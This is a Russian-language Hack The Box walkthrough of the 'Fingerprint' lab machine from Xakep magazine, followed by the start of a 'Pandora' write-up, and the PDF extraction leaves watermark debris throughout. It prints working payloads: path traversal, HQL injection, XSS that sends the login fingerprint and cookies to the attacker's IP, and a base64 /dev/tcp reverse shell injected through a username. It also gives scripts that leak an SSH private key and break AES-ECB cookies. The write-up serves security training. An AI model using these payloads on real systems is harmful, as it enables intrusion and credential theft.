
книги хакеры / журнал хакер / xa-278_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ
В этом |
райтапе |
мы используем |
|
|
LFI |
|||||||
для получения исходного кода приложе |
ния , |
|||||||||||
XSS — для получения |
фингер прин |
та поль |
||||||||||
зователя , обойдем |
|
авториза |
цию |
через |
||||||||
HQL-инъекцию |
, заюзаем баг в приложе |
нии |
||||||||||
на Java и немного |
покодим на Python, чтобы |
|||||||||||
получить приват ный |
ключ. В заключение |
— |
||||||||||
разберем |
ошибку в шифровании |
и узнаем |
||||||||||
секрет ! |
|
|
|
|
|
|
|
|
|
|
|
|
RalfHacker hackerralf8@gmail.com
Все это — в рамках прохож дения «безумной » по сложности машины
Fingerprint с площад ки Hack The Box.
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.127 fingerprint.htb0
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Находим три открытых порта :
•22 — служба OpenSSH 7.6p1;
•80 — веб сервер Werkzeug httpd 1.0.1;
•8080 — веб сервер GlassFish Open Source Edition 5.0.1.
Наша точка входа — это наверняка один из двух веб серверов . Но, изучив сайты , я ничего интерес ного не нашел. Давай тогда поищем скрытый контент .
Одно из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информацию и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый fuf. При запуске указыва ем сле дующие параметры :
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL;
•-fc — исключить из результата ответы с кодом 403.
Запус каем fuf:
ffuf -u http://fingerprint.htb/FUZZ -t 256 -w directory_2.3_medium_
lowercase.txt0
Резуль тат сканиро вания каталогов с помощью fuf
ffuf -u http://fingerprint.htb:8080/FUZZ -t 256 -w directory_2.3_
medium_lowercase.txt0
Резуль тат сканиро вания каталогов с помощью fuf
Появля ются новые интерес ные каталоги . Burp способен составлять карты сайта , чем мы и восполь зуем ся . В данном случае на постро енной карте обна ружим конечные точки , которые мы бы долго искали при грубом сканиро вании.
Карта сайта fngerprint.htb
Теперь важно найти место , откуда мы переходим к конечным точкам . История и поиск в Burp выводят нас на страницу /admin.
Burp History
Продолжение статьи0 →

|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ
ТОЧКА ВХОДА
LFI
Через страницу /admin/view/ можно просматри вать файлы , поэтому про верим, нет ли тут уязвимос ти чтения произволь ных файлов в системе . Для перебора файлов я буду использовать Burp Intruder.
Burp Intruder — вкладка Positions
И простая последова тель ность /../..//etc/passwd отобразит нам содер жимое файла /etc/passwd! Это также позволит нам узнать домашний каталог пользовате ля flask. А это означает доступ к исходникам сервера !
Содер жимое файла /etc/passwd
Стоит попробовать получить содержимое некоторых стандар тных файлов . Так, app/__init__.py ничего не выводит, а app/app.py все же дает код при
ложения (путь /admin/view//../..//home/flask/app/app.py).
Исходный код app.py
Теперь у нас есть ключ приложе ния (строка 19), а также видим импорт фун кции check из модуля auth (строка 8). Запросим этот файл:
/admin/view/../..//home/flask/app/auth.py0
Исходный код auth.py
В строке 13 раскры вает ся файл базы данных с учетными данными . А в стро ке 16 с помощью функции build_safe_sql_where формиру ется запрос . Сама функция импортирует ся из модуля util. Получим следующие файлы :
•/admin/view/../..//home/flask/app/users.db
•/admin/view/../..//home/flask/app/util.py
Содер жимое файла users.db
Содер жимое файла util.py
Из файла базы получаем учетные данные admin:u_will_never_guess_this_password. Используя их, можем авторизо
ваться на сайте и получить доступ к логам.
Страница Logs
Больше здесь ничего добыть не можем.
HQL injection + XSS = fingerprint
Тогда попробу ем авторизо ваться с полученными учетными данными на дру гом сервисе . Конечно , там нас ждет неудача , но на странице логов размер файла увеличит ся.
Страница Logs
А в самом файле будет указан адрес, логин и цифровой отпечаток поль зователя , который попытался авторизо вать ся .
Содер жимое файла auth.log
Так как логином и отпечат ком мы можем опериро вать при авториза ции , есть возможность получить XSS. Но к этому вернемся чуть позже . На сервере использует ся база данных , а это значит , что стоит попробовать обойти аутен тификацию . На GitHub есть много словарей типа auth bypass, и первая же наг рузка дает следующую ошибку .
Ошибка сервера при обходе авториза ции SQL
Получа ем ошибку JDBC, а это значит , что нужно выбрать нагрузки для HQL. Большая часть окажет ся заблокиро вана , но вот такая нагрузка дает резуль тат:
x' OR SUBSTRING(username,1,1)='a' and ''='
Нам сообщают про неверный цифровой отпечаток (Invalid fingerprint ID).
Сообще ние о блокиров ке запроса
Таким образом , нам нужно получить цифровой отпечаток админис тра тора , в чем нам может помочь уязвимость XSS. Снова попытаемся авторизо вать ся на втором сервисе , но вместо фингер прин та отправим нагрузку :
<script src="http://10.10.14.156:4321/evil.js"></script>
Она будет загружать с нашего сервера скрипт с кодом alert('test').
Запрос с нагрузкой XSS
Провер ка уязвимос ти XSS
Уязвимость присутс тву ет , значит продол жаем . Обычно фингер принт генери руется кодом на JS из множес тва параметров вроде размера экрана , наз вания и версии браузе ра и прочих признаков . Нам нужно найти этот код и записать в скрипт на нашем сервере . В Burp History можно увидеть загрузку скрипта login.js, он то нам и нужен.
Содер жимое login.js
Копиру ем содержимое скрипта и добавляем в конце код, который отправит сгенери рован ный фингер принт на наш сервер :
location.href="http://10.10.14.156:4321/?id="+getFingerPrintID();0
После повторно го запроса на авториза цию получим фингер принт на наш сервер .
Логи локального веб сервера
Но и отправляя этот фингер принт, мы получаем ту же ошибку : Invalid fingerprint - ID.
Ответ сервера
Дело в том, что HQL-нагрузка работает , если первый символ имени поль зователя будет a. Но, видимо, мы получили фингер принт другого пользовате ля. Тогда переберем первый символ имени пользовате ля с помощью Burp
Intruder.
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — результат перебора
Мы выяснили , что первый символ логина — m, к тому же мы получаем доступ на сайт.
Главная страница сайта для авторизо ван ного пользовате ля
Кнопка для загрузки файла оказалась нерабочей . Тогда переключим вни мание на идентифика тор сессии пользовате ля — Cookie. Судя по структуре , это токен JWT, причем в поле данных содержится также закодирован ная информация .
Запрос пользовате ля в Burp Repeater
Декоди ровав данные , получим какой то набор символов , в котором прог лядываются строки . Скорее всего , на сайте использует ся сериали зация объ ектов. К тому же мы видим что то похожее на логин и пароль.
Декоди рован ные данные
Продолжение статьи0 →

|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ
ТОЧКА ОПОРЫ Небезопасная десериализация
Повторим сканиро вание веб контента , только теперь будем искать файлы с расширени ем *.java.
ffuf -u 'http://fingerprint.htb:8080/backups/FUZZ.java' -t 256 -w
directory_2.3_medium.txt0
Сканиро вание файлов Java
Получа ем два файла . Скачива ем их для анализа .
Содер жимое файла Profle.java
Содер жимое файла User.java
Больше всего нас интересу ет файл User.java, так как он содержит объект , подлежащий сериали зации . Теперь нам нужно создать проект , куда мы поместим User.java, сохраняя все пути.
Структура проекта
Идея заключа ется в том, чтобы взять сериали зован ный объект из куки, десериали зовать его в нашей программе , изменить имя пользовате ля на admin и сериали зовать снова . Это позволит нам подменить куки. В User. java оставим все переменные , но сделаем только один метод для изменения имени пользовате ля .
package com.admin.security.src.model;
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L
;
protected int id;
protected String username;
protected String password;
protected String fingerprint;
public void setUsername(String username) {
this.username = username;
}
}
Теперь файл Main.java. Тут то мы и будем резвить ся c нашим объектом .
import com.admin.security.src.model.User;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) {
try {
String cookie =
"rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIA
BEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZ
HEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAA
nQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMW
I0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM
1"
;
byte[] serializedUserBytes = Base64.getDecoder().decode(
cookie);
ByteArrayInputStream serializedUserInputStream = new
ByteArrayInputStream(serializedUserBytes);
ObjectInputStream objectInputStream = new
ObjectInputStream(serializedUserInputStream);
User user = (User)objectInputStream.readObject();
user.setUsername("admin");
ByteArrayOutputStream serializedUserOutputStream = new
ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new
ObjectOutputStream(serializedUserOutputStream);
objectOutputStream.writeObject(user);
String serializedAdminUserBase64 = Base64.getEncoder().
encodeToString(serializedUserOutputStream.toByteArray());
System.out.println("New cookie: " +
serializedAdminUserBase64);
}
catch (Exception e) {
System.out.println(e);
}
}
}
Настра иваем конфигура цию запуска .
Конфигура цию запуска
И после старта получаем новый сериали зован ный объект . Новый JWT нужно будет переподписать , благо секретный ключ у нас есть. Для создания JWT используем jwt.io.
Создание Cookie
Создание JWT
Вставив куки, мы получаем сессию админис тратора, но загрузка файлов до сих пор не работает .
Форма загрузки файлов
Тогда будем дальше разбирать ся с исходными кодами. В обоих скачан ных файлах есть импорт класса UserProfileStorage. При этом метод
readObject вызывается в Profile.java.
Содер жимое файла Profle.java
Попробу ем загрузить такой файл, а затем откроем для анализа .
|
Содер жимое |
файла UserProfleStorage.java |
|
|
|
|||||||||||
|
|
|
|
|
|
|||||||||||
Больше всего интерес ны строки 44–45, где |
формиру |
ется |
команда ОС, |
|||||||||||||
а потом и выполняет |
ся в терминале |
. Замыкает |
конвей ер |
команда |
grep, |
|||||||||||
к которой добавляет |
ся имя пользовате |
ля . Но это происхо |
дит , если провер ка |
|||||||||||||
isAdminProfile успешна. При этом имя пользовате |
ля использует ся как наз |
|||||||||||||||
вание файла логов. Давай попробу |
ем выполнить |
инъекцию |
команды |
ping, |
||||||||||||
для чего используем |
следующее |
имя пользовате |
ля : |
|
|
|
|
|
|
|
user.setUsername("test$(ping -c 4 10.10.14.156)/../admin");
После генерации куки, создания и примене ния JWT получаем заветный пинг (прослушива ем с помощью tcpdump -i tun0 icmp).
Логи tcpdump
Так как уязвимость подтвер дилась, прокинем простой реверс шелл. Для это го нагрузку /bin/sh -i >& /dev/tcp/10.10.14.156/5432 0>&1 закодируем
в Base64 и создадим конвей ер для ее запуска .
user.setUsername("test$(echo
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTYvNTQzMiAwPiYxCg== |
base64 -d | bash)/../admin");
В окне листенера получаем бэкконнект .
Сессия пользовате ля www-data
Продолжение статьи0 →

|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
o m |
ВЗЛОМ |
|||||||
to |
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
|
|
|
|
|
.c |
|
|||
|
|
. |
|
|
|
|
|
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ
ПРОДВИЖЕНИЕ
Теперь , когда мы получили доступ к хосту , нам необходимо собрать информацию . Источников много , я в таких случаях применяю скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ют сис
тему на автомате .
После выполнения скрипта нужно выбрать самую важную информацию , в этот раз обратим внимание на то, что:
•есть приложе ние cmatch с выставлен ным битом SUID;
•в каталоге /var/backups/ есть бэкап приложе ния на Flask;
•для локалхоста прослушива ется порт 8088.
Приложе ния с SUID-битом
Содер жимое каталога /var/backups
Прослушива емые порты
Бэкап доступен только группе пользовате ля john, от имени которого и будет запускать ся приложе ние /usr/bin/cmath. Само приложе ние представ ляет собой исполняемый файл ELF.
Провер ка файла cmath
Скачива ем файл на локальный хост для анализа . Я буду использовать IDA Pro. Судя по декомпилиро ван ному коду, можно предположить , что приложе ние написано на языке Go. При запуске сразу проверя ется количество аргу ментов программы .
Сообще ние о недопустимом количестве аргумен тов
Программа принима ет два аргумен та (строки 49–56): путь к файлу и строку . Затем открывает ся файл и произво дит ся посимволь ное чтение (строки 57– 88). В конце в считан ном файле ищется строка и выводится сообщение о количестве вхождений подстро ки .
Деком пилиро ван ный код программы
Деком пилиро ван ный код программы (продол жение )
В качестве теста проверим , что мы все правиль но разобрали .
Тестовый запуск приложе ния
Так как приложе ние работает от имени пользовате ля john, мы можем получить доступ к любому файлу этого пользовате ля , в том числе и секретно му ключу . А благода ря возможнос ти узнать число вхождений подстро ки в файл мы можем получить весь файл посимволь но ! Суть в том, что, зная начало файла , мы сможем добавлять на каждом шаге по символу и переби рать его до тех пор, пока не будет ответа Found matches: 1. После этого переходить к подбору следующе го символа .
Начало секретно го ключа пользовате ля
Для посимволь ного подбора я написал следующий скрипт. Он позволил получить весь секретный ключ.
import os
alf = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l'
, 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', '
M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'=', '/', '-', ':', ',', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'0', '\+', '\r', '\n', '\t']
cur_file = '-----BEGIN'
end_file = '-----END'
ind = 0
while(end_file not in cur_file):
for c in alf:
s = cur_file + c
count = os.popen(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{s}
"').read()[15:]
if(int(count) == 1):
cur_file += c
print(cur_file)
break
Часть секретно го ключа пользовате ля
Но авторизо ваться мы все равно не можем, так как ключ зашифрован и тре буется дополнитель ный пароль. В поисках пароля я решил пересмотреть исходные коды приложе ния. Так, при поиске подстро ки passw получаем три файла .
Файлы , содержащие подстро ку passw
Скачива ем первые два, открываем в декомпилято ре и во втором находим пароль гибернации .
Содер жимое файла HibernateUtil.class
С помощью этого пароля получилось расшифро вать секретный ключ поль зователя . Так мы забираем флаг пользовате ля и получаем стабиль ный доступ по SSH.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь мы можем получить доступ к бэкапу приложе ния на Flask. Скачива ем на локальный хост, распаковы ваем и читаем файл improvement.
Содер жимое файла improvement
В файле упомина ется кастомное шифрование , используемое для контро ля аутентифика ции . А если туннелиро вать весь трафик с локального пор та 8088 на локальный порт 8088 удален ного хоста , то можно заметить, что на нем работает уже знакомое нам приложе ние .
ssh -L 8088:127.0.0.1:8088 -i id_rsa.john john@fingerprint.htb0
Также просмотрим и исходные коды из бэкапа. Уязвимость произволь ного чтения файлов так и осталась в функции logs_view(), но теперь читать фай лы может только админис тратор.
Исходный код функции logs_view
В функции profile_update() раскрыт способ формирова ния куки: [
имя_пользователя],[секрет],[true или false].
Исходный код функции profle_update
Куки шифруют ся с помощью AES ECB с размером блока 16 байт.
Блок шифрования
Но также сохранилась и уязвимость XSS, поэтому уже рассмот ренным выше способом , но другой нагрузкой мы можем получить куки.
<script>document.location="http://10.10.14.156:4321/?q="+document.
cookie</script>
Логи веб сервера
Подстав ляем куки и попадаем на главную страницу сайта .
Главная страница приложе ния
На сервере использует ся блочное шифрование , а функция profile_update( ) дает нам возможность изменить имя пользовате ля через параметр new_name. То есть мы можем изменять длину шифруемо го сообщения . Таким образом на каждом последу ющем шаге мы можем перебирать следующий символ , заодно увеличи вая сообщение . Как только сообщение без добав ленного символа и сообщение с добавленным символом совпали , мы нашли нужный нам символ . Новый куки возвра щается в заголовке Set-Cookie.
Запрос и ответ в Burp Repeater
Наброса ем простень кий код, который реализует все описан ное .
import requests
import string
john_cookie = {"user_id":
"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb033855
0635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"
}
secret = ""
size = 1
while True:
for i in range(15, -1, -1):
username = "A" * (16+i)
prime_cookie = requests.post('http://127.0.0.1:8088/
profile', data={"new_name": username}, cookies=john_cookie,
allow_redirects=False).cookies.get('user_id')
for c in string.printable[:-5]:
test_username = "A" * (16+i) + secret + c
new_cookie = requests.post('http://127.0.0.1:
8088/profile', data={"new_name": test_username}, cookies=john_cookie,
allow_redirects=False).cookies.get('user_id')
if new_cookie[32*size : 32*(size+1)] ==
prime_cookie[32*size : 32*(size+1)]:
secret += c
break
print(secret)
if ",false" in secret:
exit()
size += 1
Получе ние секрета
Так мы смогли расшифро вать куки и получить секрет . Перед кодировани ем стоит обратить внимание на функцию load_user(), в которой выполняет ся провер ка .
Исходный код функции load_user
Сообще ние разделя ется по последова тель нос тям из запятой, секрета и еще одной запятой. Первый элемент получившегося массива сравнива ется
с true. Тогда нам в качестве имени пользовате ля нужно передать последова
тельность имя,секрет,true,секрет.
Получе ние новой сессии
У нас есть новые куки, попробу ем для теста прочитать файл /etc/passwd.
Содер жимое файла /etc/passwd
Так как приложе ние работает от имени рута, прочита ем закрытый ключ поль зователя .
Закрытый ключ пользовате ля
Подклю чаем ся по SSH и забираем флаг рута.
Флаг рута
Машина захвачена !

|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ СИСТЕМУ МОНИТОРИНГА
PANDORA
В этом райтапе я покажу, как получить дос туп к хосту благода ря информации , найден ной при сканиро вании SNMP, затем мы проэкс плу ати руем уязвимос ти в Pandora FMS. Для повышения привиле гий проана лизируем поведение пользователь ско го бинарного файла и поманипули руем переменными окружения . Это позволит нам захватить легкую по уровню сложности машину Pandora с площад ки Hack The Box.
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.136 pandora.htb0
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Мы находим три открытых порта :
•22 — служба OpenSSH 8.2p1;
•80 — веб сервер Apache 2.4.41;
•3128 — тоже веб сервер , но обычно на этом порте работает прокси сер вер.
SSH мы пока что пропус каем и переходим к ознаком лению с веб сервером .
Посколь ку вначале у нас нет учетных данных , нет и смысла изучать службы , которые всегда требуют авториза ции (например , SSH). Единствен ное , что мы можем делать здесь, — перебирать пароли брутфорсом , но машины с HTB почти всегда можно пройти по другому . В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социаль ной инженерии .
Главная страница сайта
На первый взгляд, сайт нам ничего не дает. Попробу ем копнуть глубже , нап ример с помощью WhatWeb. WhatWeb распозна ет веб технологии , в том чис ле систему управления контентом (CMS), платформы для ведения блогов , пакеты статис тики и аналити ки , библиоте ки JavaScript, веб серверы и другие технологии . К тому же для этой программы есть более 1700 плагинов , которые могут быть использованы в агрессивном режиме сканиро вания . Если запустить программу с настрой ками по умолчанию , то будет выполнен всего один запрос .
